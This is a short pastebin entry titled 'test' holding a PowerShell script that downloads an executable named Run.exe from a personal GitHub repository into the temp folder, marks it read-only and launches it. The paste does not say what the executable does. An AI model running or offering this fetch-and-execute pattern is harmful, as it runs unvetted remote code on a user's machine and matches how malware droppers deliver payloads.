Pastebin
Paste #27172: test
< previous paste - next paste>
Pasted by test
Add-Type -AssemblyName PresentationCore,PresentationFramework
# Raw GitHub URL for the executable file
$downloadUrl = "https://github.com/mikhailramlal/pp/raw/refs/heads/main/Run.exe"
# Get the path to the temporary folder and set the output file path
$outputFile = [System.IO.Path]::Combine($env:TEMP, "Run.exe")
try {
# Remove file if it exists before downloading
if (Test-Path $outputFile) {
Remove-Item $outputFile -Force
}
# Download the file from the GitHub URL
Invoke-WebRequest -Uri $downloadUrl -OutFile $outputFile -ErrorAction Stop
# Check if the file was downloaded successfully
if (Test-Path $outputFile) {
Write-Host "File downloaded successfully."
# Optionally set the file as read-only (if desired)
attrib +r $outputFile
# Run the downloaded executable
Start-Process -FilePath $outputFile -ErrorAction Stop
} else {
Write-Host "File download failed."
}
} catch {
Write-Host "An error occurred: $_"
}
New Paste
Go to most recent paste.